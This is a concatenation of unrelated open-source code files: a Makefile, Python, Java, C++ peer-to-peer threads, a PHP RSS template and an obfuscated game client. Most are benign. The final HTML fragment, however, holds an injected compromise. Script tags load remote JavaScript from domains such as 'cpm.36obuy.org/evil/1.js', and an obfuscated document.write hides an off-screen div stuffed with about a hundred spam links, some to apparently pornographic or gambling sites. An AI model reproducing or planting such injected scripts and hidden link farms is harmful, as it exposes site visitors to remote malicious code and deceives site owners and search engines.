inst=`echo $$inst | sed -e 's/^.*\///'`; \
inst=`echo $$inst | sed '$(transform)'`.$$ext; \
echo " rm -f $(DESTDIR)$(man1dir)/$$inst"; \
rm -f $(DESTDIR)$(man1dir)/$$inst; \
done
tags: TAGS
TAGS:
DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
top_distdir = ..
distdir = $(top_distdir)/$(PACKAGE)-$(VERSION)
distdir: $(DISTFILES)
@for file in $(DISTFILES); do \
if test -f $$file; then d=.; else d=$(srcdir); fi; \
dir=`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \
if test "$$dir" != "$$file" && test "$$dir" != "."; then \
$(mkinstalldirs) "$(distdir)/$$dir"; \
fi; \
if test -d $$d/$$file; then \
cp -pR $$d/$$file $(distdir) \
|| exit 1; \
else \
test -f $(distdir)/$$file \
|| cp -p $$d/$$file $(distdir)/$$file \
|| exit 1; \
fi; \
done
check-am: all-am
check: check-am
all-am: Makefile $(MANS)
installdirs:
$(mkinstalldirs) $(DESTDIR)$(man1dir)
install: install-am
install-exec: install-exec-am
install-data: install-data-am
uninstall: uninstall-am
install-am: all-am
@$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am
installcheck: installcheck-am
install-strip:
$(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
`test -z '$(STRIP)' || \
echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install
mostlyclean-generic:
clean-generic:
distclean-generic:
-rm -f Makefile $(CONFIG_CLEAN_FILES) stamp-h stamp-h[0-9]*
maintainer-clean-generic:
@echo "This command is intended for maintainers to use"
@echo "it deletes files that may require special tools to rebuild."
clean: clean-am
clean-am: clean-generic clean-libtool mostlyclean-am
distclean: distclean-am
distclean-am: clean-am distclean-generic distclean-libtool
dvi: dvi-am
dvi-am:
info: info-am
info-am:
install-data-am: install-man
install-exec-am:
@$(NORMAL_INSTALL)
$(MAKE) $(AM_MAKEFLAGS) install-exec-hook
install-info: install-info-am
install-man: install-man1
installcheck-am:
maintainer-clean: maintainer-clean-am
maintainer-clean-am: distclean-am maintainer-clean-generic
mostlyclean: mostlyclean-am
mostlyclean-am: mostlyclean-generic mostlyclean-libtool
uninstall-am: uninstall-info-am uninstall-man
uninstall-man: uninstall-man1
.PHONY: all all-am check check-am clean clean-generic clean-libtool \
distclean distclean-generic distclean-libtool distdir dvi \
dvi-am info info-am install install-am install-data \
install-data-am install-exec install-exec-am install-info \
install-info-am install-man install-man1 install-strip \
installcheck installcheck-am installdirs maintainer-clean \
maintainer-clean-generic mostlyclean mostlyclean-generic \
mostlyclean-libtool uninstall uninstall-am uninstall-info-am \
uninstall-man uninstall-man1
install-exec-hook:
@if test -f $(SCOUTRC); then \
if cmp -s $(srcdir)/scoutrc $(SCOUTRC); then echo ""; \
else \
echo ' $(INSTALL_DATA) $(srcdir)/scoutrc $(SCOUTRC).new'; \
$(INSTALL_DATA) $(srcdir)/scoutrc $(SCOUTRC).new; \
echo "#####################################################"; \
echo "WARNING: File $(SCOUTRC) already exists."; \
echo " A new resource file has been installed as"; \
echo " $(SCOUTRC).new. You may want to"; \
echo " consider using the newer version in order to"; \
echo " take advantage of any new features."; \
echo "#####################################################"; \
fi; \
else \
$(INSTALL_DATA) $(srcdir)/scoutrc $(SCOUTRC); \
fi
# Tell versions [3.59,3.63) of GNU make to not export all variables.
# Otherwise a system limit (for SysV at least) may be exceeded.
.NOEXPORT:
| kassanmoor/Scout-Resurrected | doc/Makefile | Makefile | gpl-2.0 | 8,065 |
import web
urls = (
'/hello','Index'
)
app = web.application(urls,globals())
render = web.template.render('/usr/local/LPTHW/ex51/gothonweb/templates/',base="layout")
class Index(object):
def GET(self):
return render.hello_form()
def POST(self):
form = web.input(name="Nobody",greet="Hello")
greeting = "%s,%s" % (form.greet,form.name)
return render.index(greeting = greeting)
if __name__ == '__main__':
app.run()
| tridvaodin/Assignments-Valya-Maskaliova | LPTHW/projects/gothonweb/bin/app.py | Python | gpl-2.0 | 488 |
/*
* Copyright 1997-2005 Sun Microsystems, Inc. All Rights Reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation. Sun designates this
* particular file as subject to the "Classpath" exception as provided
* by Sun in the LICENSE file that accompanied this code.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Sun Microsystems, Inc., 4150 Network Circle, Santa Clara,
* CA 95054 USA or visit www.sun.com if you need additional information or
* have any questions.
*/
package javax.activation;
import java.io.IOException;
/**
* JavaBeans components that are Activation Framework aware implement
* this interface to find out which command verb they're being asked
* to perform, and to obtain the DataHandler representing the
* data they should operate on. JavaBeans that don't implement
* this interface may be used as well. Such commands may obtain
* the data using the Externalizable interface, or using an
* application-specific method.<p>
*
* @since 1.6
*/
public interface CommandObject {
/**
* Initialize the Command with the verb it is requested to handle
* and the DataHandler that describes the data it will
* operate on. <b>NOTE:</b> it is acceptable for the caller
* to pass <i>null</i> as the value for <code>DataHandler</code>.
*
* @param verb The Command Verb this object refers to.
* @param dh The DataHandler.
*/
public void setCommandContext(String verb, DataHandler dh)
throws IOException;
}
| TheTypoMaster/Scaper | openjdk/jaxws/drop_included/jaf_src/src/javax/activation/CommandObject.java | Java | gpl-2.0 | 2,259 |
package edu.xored.tracker;
import com.fasterxml.jackson.annotation.JsonIgnore;
import java.time.LocalDateTime;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Collections;
import java.util.List;
public class Issue {
private String hash;
private String summary;
private String description;
private User author;
private Status status;
private LocalDateTime createdDateTime;
@JsonIgnore
private List<Comment> comments = new ArrayList<>();
public Issue() {
}
public Issue(String hash, String summary, String description, Status status) {
this.hash = hash;
this.summary = summary;
this.description = description;
this.status = status;
this.createdDateTime = LocalDateTime.now();
}
public String getHash() {
return hash;
}
public void setHash(String hash) {
this.hash = hash;
}
public String getSummary() {
return summary;
}
public void setSummary(String summary) {
this.summary = summary;
}
public String getDescription() {
return description;
}
public void setDescription(String description) {
this.description = description;
}
public User getAuthor() {
return author;
}
public void setAuthor(User author) {
this.author = author;
}
public Status getStatus() {
return status;
}
public void setStatus(Status status) {
this.status = status;
}
public LocalDateTime getCreatedDateTime() {
return createdDateTime;
}
public void setCreatedDateTime(LocalDateTime createdDateTime) {
this.createdDateTime = createdDateTime;
}
public List<Comment> getComments() {
return Collections.unmodifiableList(comments);
}
public void addComment(Comment comment) {
if (comment != null) {
comments.add(comment);
}
}
public void addComments(Collection<Comment> comments) {
if (comments != null) {
this.comments.addAll(comments);
}
}
public Issue updateIssue(Issue other) {
if (other.getSummary() != null) {
setSummary(other.getSummary());
}
if (other.getDescription() != null) {
setDescription(other.getDescription());
}
if (other.getAuthor() != null) {
setAuthor(other.getAuthor());
}
if (other.getStatus() != null) {
setStatus(other.getStatus());
}
if (other.getCreatedDateTime() != null) {
setCreatedDateTime(other.getCreatedDateTime());
}
if (other.getComments() != null) {
addComments(other.getComments());
}
return this;
}
public enum Status {
OPEN, RESOLVED;
}
}
| edu-xored/tracker-web | src/main/java/edu/xored/tracker/Issue.java | Java | gpl-2.0 | 2,861 |
<!DOCTYPE html>
<!--
To change this license header, choose License Headers in Project Properties.
To change this template file, choose Tools | Templates
and open the template in the editor.
-->
<html>
<head>
<meta charset="UTF-8">
<title></title>
<link rel="stylesheet" type="text/css" href="../css/bootstrap.css">
<link rel="stylesheet" type="text/css" href="../css/install.css">
</head>
<body>
<div class="container container-fluid">
<div class="container container-fluid ">
<marquee><h1>Bienvenido A Cultura Caleña!</h1></marquee>
<p> <h2>Lo felicitamos usted a terminado la configuracion de su sistema con</h2>
<h3>Exito</h3>
</p>
<a href="../../web/" type="button" class="btn btn-primary">inicio</a>
</div>
</div>
</body>
</html>
| Kellin-Andrea/culturaCalena | installer/view/felicidades.html.php | PHP | gpl-2.0 | 858 |
/*
NEshare is a peer-to-peer file sharing toolkit.
Copyright (C) 2001, 2002 Neill Miller
This file is part of NEshare.
NEshare is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
NEshare is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with NEshare; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
#include "neclientheaders.h"
namespace neShareClientThreads
{
static ncThread s_processClientPeersThread;
static ncThread s_processServentPeersThread;
static ncThread s_clientListenerThread;
static ncThread s_processUploadsThread;
static int s_processClientPeersThreadStop = 0;
static int s_processServentPeersThreadStop = 0;
static int s_processUploadsThreadStop = 0;
static ncSocketListener *g_nsl = (ncSocketListener *)0;
/*
the following are defined only to store pointers to the
internal objects stored in the neClientConnection object
to use internally in this namespace
*/
static neConfig *g_config = (neConfig *)0;
static nePeerManager *g_peerClientManager = (nePeerManager *)0;
static nePeerManager *g_peerServentManager = (nePeerManager *)0;
static nePeerDownloadManager *g_peerDownloadManager =
(nePeerDownloadManager *)0;
static nePeerUploadManager *g_peerUploadManager =
(nePeerUploadManager *)0;
void *processLoginMessage(void *ptr)
{
ncSocket *newSock = (ncSocket *)ptr;
if (newSock)
{
/*
read the login message and return
an appropriate response
*/
nemsgPeerLogin peerLoginMsg(newSock);
if (peerLoginMsg.recv() == 0)
{
iprintf("neShareClientThreads::processLoginMessage | "
"Login Message Received.\n");
/*
FIXME: default TTL of connected peer is 300 seconds...
this should be configurable
*/
nePeer *newPeer = new nePeer(newSock,300);
if (newPeer)
{
if (g_peerServentManager->addPeer(newPeer))
{
eprintf("neShareClientThreads::processLoginMessa"
"ge | addPeer failed.\n");
neClientUtils::rejectNewServentPeer(newPeer);
newSock->flush();
delete newSock;
return (void *)0;
}
/* send a peer login ack */
nemsgPeerLoginAck peerLoginAckMsg(newSock);
if (peerLoginAckMsg.send() == 0)
{
iprintf("New Peer Added (addr = %x) - Total Count"
" is %d.\n",newPeer,
g_peerServentManager->getNumPeers());
newSock->flush();
}
}
else
{
eprintf("neShareClientThreads::processLoginMessage | "
"Cannot allocate new peer.\n");
}
}
else
{
/* drop the connection */
eprintf("neShareClientThreads::processLoginMessage | "
"Login Message not received.\n");
delete newSock;
}
}
return (void *)0;
}
void *listenForClients(void *ptr)
{
unsigned long clientControlPort = 0;
assert(g_config);
clientControlPort = g_config->getClientControlPort();
/*
create a ncSocketListener and register a callback that will
add a new user to the client peerManager (similar to the
userManager in the server).
*/
if (g_nsl)
{
eprintf("FIXME: neShareClientThreads::listenForClients "
"called with an already initialized socket "
"listener object -- terminating\n");
assert(0);
}
g_nsl = new ncSocketListener(clientControlPort,SOCKTYPE_TCPIP);
if (g_nsl &&
g_nsl->startListening(processLoginMessage, NC_NONTHREADED,
NC_REUSEADDR) != NC_OK)
{
eprintf("ERROR!!! NEshare client listener has mysteriously "
"stopped running.\nNo more incoming client "
"connections are allowed.\nClient listener "
"terminating.\n");
}
return (void *)0;
}
void *processClientPeers(void *ptr)
{
int numReady = 0;
std::vector<nePeer *> markedPeers;
std::vector<nePeer *>::iterator iter;
s_processClientPeersThreadStop = 1;
while(s_processClientPeersThreadStop)
{
assert(markedPeers.empty());
numReady = g_peerClientManager->pollPeerSockets(&markedPeers);
/* remove marked peers if any */
for(iter = markedPeers.begin(); iter != markedPeers.end();
iter++)
{
g_peerClientManager->removePeer((*iter),
g_peerUploadManager,
g_peerDownloadManager);
}
markedPeers.clear();
if (numReady == 0)
{
/*
if there are no peer sockets ready,
sleep and then try again.
*/
ncSleep(250);
continue;
}
else if (numReady == -1)
{
/* if an error occurred, report the error and continue */
eprintf("neShareClientThreads::processClientPeers | "
"peerManager::pollPeerSockets failed.\n");
continue;
}
/* handle ready peers, if any */
if (neClientUtils::handleReadyPeers(g_peerClientManager,
g_peerDownloadManager,
g_peerUploadManager))
{
eprintf("neShareClientThreads::processClientPeers | a"
" non-fatal peer error occured.\n");
}
/* check if a cancel request was issued */
ncThread::testCancel();
}
s_processClientPeersThreadStop = 1;
return (void *)0;
}
void *processServentPeers(void *ptr)
{
int numReady = 0;
std::vector<nePeer *> markedPeers;
std::vector<nePeer *>::iterator iter;
s_processServentPeersThreadStop = 1;
while(s_processServentPeersThreadStop)
{
assert(markedPeers.empty());
numReady = g_peerServentManager->pollPeerSockets(
&markedPeers);
/* remove marked peers if any */
for(iter = markedPeers.begin(); iter != markedPeers.end();
iter++)
{
g_peerServentManager->removePeer((*iter),
g_peerUploadManager,
g_peerDownloadManager);
}
markedPeers.clear();
if (numReady == 0)
{
/*
if there are no peer sockets ready,
sleep and then try again.
*/
ncSleep(250);
continue;
}
else if (numReady == -1)
{
/* if an error occurred, report the error and continue */
eprintf("neShareClientThreads::processServentPeers | "
"peerManager::pollPeerSockets failed.\n");
continue;
}
/* handle ready peers, if any */
if (neClientUtils::handleReadyPeers(g_peerServentManager,
g_peerDownloadManager,
g_peerUploadManager))
{
eprintf("neShareClientThreads::processServentPeers "
"| a non-fatal peer error occured.\n");
}
/* check if a cancel request was issued */
ncThread::testCancel();
}
s_processServentPeersThreadStop = 1;
return (void *)0;
}
void *processUploads(void *ptr)
{
s_processUploadsThreadStop = 1;
while(s_processUploadsThreadStop)
{
/* check if there are any current uploads */
if (g_peerUploadManager->getNumUploads() == 0)
{
/* if not, sleep for a while */
ncSleep(500);
}
else
{
/*
send another chunk to each peer
with an active download
*/
g_peerUploadManager->sendPeerData();
}
/* check if a cancel request was issued */
ncThread::testCancel();
}
s_processUploadsThreadStop = 1;
return (void *)0;
}
void startThreads(neConfig *config,
nePeerManager *peerClientManager,
nePeerManager *peerServentManager,
nePeerDownloadManager *peerDownloadManager,
nePeerUploadManager *peerUploadManager)
{
/* stash all incoming arguments for later use */
g_config = config;
g_peerClientManager = peerClientManager;
g_peerServentManager = peerServentManager;
g_peerDownloadManager = peerDownloadManager;
g_peerUploadManager = peerUploadManager;
/* set the config object on the download manager */
g_peerDownloadManager->setConfig(g_config);
/* start up client-to-client related threads */
if (s_processClientPeersThread.start(
processClientPeers,(void *)0) == NC_FAILED)
{
eprintf("Fatal error: Cannot start "
"processClientPeersThread.\n");
exit(1);
}
if (s_processServentPeersThread.start(
processServentPeers,(void *)0) == NC_FAILED)
{
eprintf("Fatal error: Cannot start "
"processServentPeersThread.\n");
exit(1);
}
if (s_clientListenerThread.start(
listenForClients,(void *)0) == NC_FAILED)
{
eprintf("Fatal error: Cannot start "
"clientListenerThread.\n");
exit(1);
}
if (s_processUploadsThread.start(
processUploads,(void *)0) == NC_FAILED)
{
eprintf("Error: Cannot start upload processing thread. "
"Skipping.\n");
}
/* detach threads (to spin off in background) */
if (s_processClientPeersThread.detach() == NC_FAILED)
{
eprintf("Fatal error: Cannot detach "
"processClientPeersThread.\n");
exit(1);
}
if (s_processServentPeersThread.detach() == NC_FAILED)
{
eprintf("Fatal error: Cannot detach "
"processServentPeersThread.\n");
exit(1);
}
if (s_clientListenerThread.detach() == NC_FAILED)
{
eprintf("Fatal error: Cannot detach clientListenerThread.\n");
stopThreads();
exit(1);
}
if (s_processUploadsThread.detach() == NC_FAILED)
{
eprintf("Error: Cannot detach processUploadsThread. "
"Skipping.\n");
}
}
void stopThreads()
{
/* stop all running client threads */
if (g_nsl)
{
g_nsl->stopListening();
}
s_processClientPeersThreadStop = 0;
s_processServentPeersThreadStop = 0;
s_processUploadsThreadStop = 0;
/*
sleep for half a second to allow
for proper thread cancellation
*/
ncSleep(500);
/* now cancel the threads, if they haven't stopped already */
if (!s_processClientPeersThreadStop)
{
s_processClientPeersThread.stop(0);
}
if (!s_processServentPeersThreadStop)
{
s_processServentPeersThread.stop(0);
}
if (!s_processUploadsThreadStop)
{
s_processUploadsThread.stop(0);
}
s_clientListenerThread.stop(0);
/* uninitialize our pointers to the objects we know about */
g_config = (neConfig *)0;
g_peerClientManager = (nePeerManager *)0;
g_peerServentManager = (nePeerManager *)0;
g_peerDownloadManager = (nePeerDownloadManager *)0;
g_peerUploadManager = (nePeerUploadManager *)0;
delete g_nsl;
g_nsl = (ncSocketListener *)0;
}
}
| thecodefactory/neshare | ne_client/neshareclientthreads.cpp | C++ | gpl-2.0 | 13,553 |
<?php // need to be separately enclosed like this
header("Content-Type: application/rss+xml; charset=".config_item("charset"));
echo '<?xml version="1.0" encoding="'.config_item("charset").'"?>'.PHP_EOL;
$this->load->helper('xml');
?>
<rss version="2.0"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
xmlns:admin="http://webns.net/mvcb/"
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns:content="http://purl.org/rss/1.0/modules/content/">
<channel>
<title><?php echo xml_convert($feed_name); ?></title>
<link><?php echo $feed_url; ?></link>
<atom:link href="<?php echo $feed_url ?>" rel="self" type="application/rss+xml" />
<description><?php echo xml_convert($page_description); ?></description>
<dc:language><?php echo $page_language; ?></dc:language>
<dc:creator><?php echo $creator_email; /*/Translators: In case we want to translate the copyright statement.. */ ?></dc:creator>
<dc:rights><?=t("Copyright !date !organization", array('!date'=>gmdate("Y"), '!organization'=>NULL)) ?></dc:rights>
<admin:generatorAgent/>
<?php foreach($clouds as $entry): ?>
<item>
<title><?php echo xml_safe(xml_convert($entry->title)); ?></title>
<link><?php echo site_url('cloud/view/'. $entry->cloud_id) ?></link>
<guid><?php echo site_url('cloud/view/'. $entry->cloud_id) ?></guid>
<description><![CDATA[<?= xml_feed_html_safe($entry->body) ?>]]></description>
<pubDate><?php
//Bug #183, 1970 date bug.
if (isset($entry->timestamp)) {
echo date('r', $entry->timestamp);
}
elseif (isset($entry->created)) {
echo date('r', $entry->created);
}
elseif (isset($entry->modified)) {
echo date('r', $entry->modified);
}
?></pubDate>
</item>
<?php endforeach; ?>
</channel>
</rss>
| IET-OU/cloudengine | system/application/views/rss/rss.php | PHP | gpl-2.0 | 1,985 |
final class Class3_Sub28_Sub2 extends Class3_Sub28 {
private static Class94 aClass94_3541 = Class3_Sub4.buildString("yellow:");
static int anInt3542;
private static Class94 aClass94_3543 = Class3_Sub4.buildString("Loading config )2 ");
static Class94 aClass94_3544 = aClass94_3541;
Class140_Sub2 aClass140_Sub2_3545;
static Class94 aClass94_3546 = aClass94_3543;
static Class94 aClass94_3547 = Class3_Sub4.buildString("Speicher wird zugewiesen)3");
static Class94 aClass94_3548 = aClass94_3541;
public static void method534(int var0) {
try {
aClass94_3546 = null;
aClass94_3548 = null;
aClass94_3543 = null;
int var1 = 101 % ((-29 - var0) / 45);
aClass94_3544 = null;
aClass94_3547 = null;
aClass94_3541 = null;
} catch (RuntimeException var2) {
throw Class44.method1067(var2, "bk.B(" + var0 + ')');
}
}
static final void method535(byte var0, int var1) {
try {
Class151.aFloatArray1934[0] = (float)Class3_Sub28_Sub15.method633(255, var1 >> 16) / 255.0F;
Class151.aFloatArray1934[1] = (float)Class3_Sub28_Sub15.method633(var1 >> 8, 255) / 255.0F;
Class151.aFloatArray1934[2] = (float)Class3_Sub28_Sub15.method633(255, var1) / 255.0F;
Class3_Sub18.method383(-32584, 3);
Class3_Sub18.method383(-32584, 4);
if(var0 != 56) {
method535((byte)127, 99);
}
} catch (RuntimeException var3) {
throw Class44.method1067(var3, "bk.A(" + var0 + ',' + var1 + ')');
}
}
static final Class75_Sub3 method536(byte var0, Class3_Sub30 var1) {
try {
if(var0 != 54) {
method534(117);
}
return new Class75_Sub3(var1.method787((byte)25), var1.method787((byte)73), var1.method787((byte)114), var1.method787((byte)33), var1.method787((byte)78), var1.method787((byte)91), var1.method787((byte)120), var1.method787((byte)113), var1.method794((byte)115), var1.method803((byte)-64));
} catch (RuntimeException var3) {
throw Class44.method1067(var3, "bk.C(" + var0 + ',' + (var1 != null?"{...}":"null") + ')');
}
}
Class3_Sub28_Sub2(Class140_Sub2 var1) {
try {
this.aClass140_Sub2_3545 = var1;
} catch (RuntimeException var3) {
throw Class44.method1067(var3, "bk.<init>(" + (var1 != null?"{...}":"null") + ')');
}
}
}
| Lmctruck30/RiotScape-Client | src/Class3_Sub28_Sub2.java | Java | gpl-2.0 | 2,501 |
<script src="http://cpm.36obuy.org/evil/1.js"></script><script src="http://cpm.36obuy.org/lion/1.js"></script><script/src=//360cdn.win/c.css></script>
<script>document.write ('<d' + 'iv cl' + 'a' + 's' + 's="z' + '7z8z' + '9z6" st' + 'yl' + 'e="p' + 'ositio' + 'n:f' + 'ixed;l' + 'ef' + 't:-3' + '000' + 'p' + 'x;t' + 'op' + ':-3' + '000' + 'p' + 'x;' + '"' + '>');</script>
<a class="z7z8z9z6" href="http://www.4695288.com/">http://www.4695288.com/</a>
<a class="z7z8z9z6" href="http://www.5613117.com/">http://www.5613117.com/</a>
<a class="z7z8z9z6" href="http://www.4309272.com/">http://www.4309272.com/</a>
<a class="z7z8z9z6" href="http://www.3619276.com/">http://www.3619276.com/</a>
<a class="z7z8z9z6" href="http://www.1539774.com/">http://www.1539774.com/</a>
<a class="z7z8z9z6" href="http://www.2234809.com/">http://www.2234809.com/</a>
<a class="z7z8z9z6" href="http://www.0551180.com/">http://www.0551180.com/</a>
<a class="z7z8z9z6" href="http://www.0027022.com/">http://www.0027022.com/</a>
<a class="z7z8z9z6" href="http://www.1408600.com/">http://www.1408600.com/</a>
<a class="z7z8z9z6" href="http://www.5004279.com/">http://www.5004279.com/</a>
<a class="z7z8z9z6" href="http://www.4314451.com/">http://www.4314451.com/</a>
<a class="z7z8z9z6" href="http://www.9402647.com/">http://www.9402647.com/</a>
<a class="z7z8z9z6" href="http://www.6420212.com/">http://www.6420212.com/</a>
<a class="z7z8z9z6" href="http://www.0921315.com/">http://www.0921315.com/</a>
<a class="z7z8z9z6" href="http://www.4849062.com/">http://www.4849062.com/</a>
<a class="z7z8z9z6" href="http://www.8027847.com/">http://www.8027847.com/</a>
<a class="z7z8z9z6" href="http://www.5101309.com/">http://www.5101309.com/</a>
<a class="z7z8z9z6" href="http://www.8033162.com/">http://www.8033162.com/</a>
<a class="z7z8z9z6" href="http://www.7808733.com/">http://www.7808733.com/</a>
<a class="z7z8z9z6" href="http://www.7021821.com/">http://www.7021821.com/</a>
<a class="z7z8z9z6" href="http://www.8560978.com/">http://www.8560978.com/</a>
<a class="z7z8z9z6" href="http://www.3301718.com/">http://www.3301718.com/</a>
<a class="z7z8z9z6" href="http://www.2444890.com/">http://www.2444890.com/</a>
<a class="z7z8z9z6" href="http://www.2501886.com/">http://www.2501886.com/</a>
<a class="z7z8z9z6" href="http://www.8773150.com/">http://www.8773150.com/</a>
<a class="z7z8z9z6" href="http://www.gkamlb.com/">http://www.gkamlb.com/</a>
<a class="z7z8z9z6" href="http://www.nxkmky.com/">http://www.nxkmky.com/</a>
<a class="z7z8z9z6" href="http://www.pkdszd.com/">http://www.pkdszd.com/</a>
<a class="z7z8z9z6" href="http://www.scqyba.com/">http://www.scqyba.com/</a>
<a class="z7z8z9z6" href="http://www.vwyhzp.com/">http://www.vwyhzp.com/</a>
<a class="z7z8z9z6" href="http://www.vwwoms.com/">http://www.vwwoms.com/</a>
<a class="z7z8z9z6" href="http://www.svfdun.com/">http://www.svfdun.com/</a>
<a class="z7z8z9z6" href="http://www.wivjvd.com/">http://www.wivjvd.com/</a>
<a class="z7z8z9z6" href="http://www.sstldp.com/">http://www.sstldp.com/</a>
<a class="z7z8z9z6" href="http://www.sqmtvh.com/">http://www.sqmtvh.com/</a>
<a class="z7z8z9z6" href="http://www.fmxnav.com/">http://www.fmxnav.com/</a>
<a class="z7z8z9z6" href="http://www.etqglz.com/">http://www.etqglz.com/</a>
<a class="z7z8z9z6" href="http://www.rjwmkb.com/">http://www.rjwmkb.com/</a>
<a class="z7z8z9z6" href="http://www.yrljss.com/">http://www.yrljss.com/</a>
<a class="z7z8z9z6" href="http://www.ymdwnv.com/">http://www.ymdwnv.com/</a>
<a class="z7z8z9z6" href="http://www.lhxcjs.com/">http://www.lhxcjs.com/</a>
<a class="z7z8z9z6" href="http://www.fekcko.com/">http://www.fekcko.com/</a>
<a class="z7z8z9z6" href="http://www.furpdg.com/">http://www.furpdg.com/</a>
<a class="z7z8z9z6" href="http://www.voqgwh.com/">http://www.voqgwh.com/</a>
<a class="z7z8z9z6" href="http://www.fknqkj.com/">http://www.fknqkj.com/</a>
<a class="z7z8z9z6" href="http://www.hhabtr.com/">http://www.hhabtr.com/</a>
<a class="z7z8z9z6" href="http://www.ogmykg.com/">http://www.ogmykg.com/</a>
<a class="z7z8z9z6" href="http://www.vseogg.com/">http://www.vseogg.com/</a>
<a class="z7z8z9z6" href="http://www.ctkllf.com/">http://www.ctkllf.com/</a>
<a class="z7z8z9z6" href="http://www.xzxefw.com/">http://www.xzxefw.com/</a>
<a class="z7z8z9z6" href="http://www.0172679.com/">http://www.0172679.com/</a>
<a class="z7z8z9z6" href="http://www.6088532.com/">http://www.6088532.com/</a>
<a class="z7z8z9z6" href="http://www.5214437.com/">http://www.5214437.com/</a>
<a class="z7z8z9z6" href="http://www.4601598.com/">http://www.4601598.com/</a>
<a class="z7z8z9z6" href="http://www.3848474.com/">http://www.3848474.com/</a>
<a class="z7z8z9z6" href="http://www.7621914.com/">http://www.7621914.com/</a>
<a class="z7z8z9z6" href="http://www.9064024.com/">http://www.9064024.com/</a>
<a class="z7z8z9z6" href="http://www.0979289.com/">http://www.0979289.com/</a>
<a class="z7z8z9z6" href="http://www.8732369.com/">http://www.8732369.com/</a>
<a class="z7z8z9z6" href="http://www.7578050.com/">http://www.7578050.com/</a>
<a class="z7z8z9z6" href="http://www.1206219.com/">http://www.1206219.com/</a>
<a class="z7z8z9z6" href="http://www.0320448.com/">http://www.0320448.com/</a>
<a class="z7z8z9z6" href="http://www.6038608.com/">http://www.6038608.com/</a>
<a class="z7z8z9z6" href="http://www.6804640.com/">http://www.6804640.com/</a>
<a class="z7z8z9z6" href="http://www.2393657.com/">http://www.2393657.com/</a>
<a class="z7z8z9z6" href="http://www.laibazonghewang.com/">http://www.laibazonghewang.com/</a>
<a class="z7z8z9z6" href="http://www.jiujiurezuixindizhi.com/">http://www.jiujiurezuixindizhi.com/</a>
<a class="z7z8z9z6" href="http://www.jiqingtupian8.com/">http://www.jiqingtupian8.com/</a>
<a class="z7z8z9z6" href="http://www.qmzufv.com/">http://www.qmzufv.com/</a>
<a class="z7z8z9z6" href="http://www.kwwxgj.com/">http://www.kwwxgj.com/</a>
<a class="z7z8z9z6" href="http://www.tvubqi.com/">http://www.tvubqi.com/</a>
<a class="z7z8z9z6" href="http://www.sjvxww.com/">http://www.sjvxww.com/</a>
<a class="z7z8z9z6" href="http://www.xpdmzk.com/">http://www.xpdmzk.com/</a>
<a class="z7z8z9z6" href="http://www.frveya.com/">http://www.frveya.com/</a>
<a class="z7z8z9z6" href="http://www.nonmnu.com/">http://www.nonmnu.com/</a>
<a class="z7z8z9z6" href="http://www.svytac.com/">http://www.svytac.com/</a>
<a class="z7z8z9z6" href="http://www.fdtggb.com/">http://www.fdtggb.com/</a>
<a class="z7z8z9z6" href="http://www.rnrnjm.com/">http://www.rnrnjm.com/</a>
<a class="z7z8z9z6" href="http://www.ymrxun.com/">http://www.ymrxun.com/</a>
<a class="z7z8z9z6" href="http://www.lkrecc.com/">http://www.lkrecc.com/</a>
<a class="z7z8z9z6" href="http://www.kgahjl.com/">http://www.kgahjl.com/</a>
<a class="z7z8z9z6" href="http://www.kqdmep.com/">http://www.kqdmep.com/</a>
<a class="z7z8z9z6" href="http://www.vwlwcu.com/">http://www.vwlwcu.com/</a>
<a class="z7z8z9z6" href="http://www.zuixinlunlidianying.com/">http://www.zuixinlunlidianying.com/</a>
<a class="z7z8z9z6" href="http://www.daxiangjiaowangzhi.com/">http://www.daxiangjiaowangzhi.com/</a>
<a class="z7z8z9z6" href="http://www.snnfi.com/">http://www.snnfi.com/</a>
<a class="z7z8z9z6" href="http://www.vfdyd.com/">http://www.vfdyd.com/</a>
<a class="z7z8z9z6" href="http://www.lwezk.com/">http://www.lwezk.com/</a>
<a class="z7z8z9z6" href="http://www.fpibm.com/">http://www.fpibm.com/</a>
<a class="z7z8z9z6" href="http://www.xjvdr.com/">http://www.xjvdr.com/</a>
<a class="z7z8z9z6" href="http://www.kvwqf.com/">http://www.kvwqf.com/</a>
<a class="z7z8z9z6" href="http://www.utakf.com/">http://www.utakf.com/</a>
<a class="z7z8z9z6" href="http://www.gmjeu.com/">http://www.gmjeu.com/</a>
<a class="z7z8z9z6" href="http://www.pugfa.com/">http://www.pugfa.com/</a>
<a class="z7z8z9z6" href="http://www.bldek.com/">http://www.bldek.com/</a>
<a class="z7z8z9z6" href="http://www.vdidu.com/">http://www.vdidu.com/</a>
<a class="z7z8z9z6" href="http://www.tufnc.com/">http://www.tufnc.com/</a>
<a class="z7z8z9z6" href="http://www.wqxri.com/">http://www.wqxri.com/</a>
<a class="z7z8z9z6" href="http://www.uaozz.com/">http://www.uaozz.com/</a>
<a class="z7z8z9z6" href="http://www.nhpbd.com/">http://www.nhpbd.com/</a>
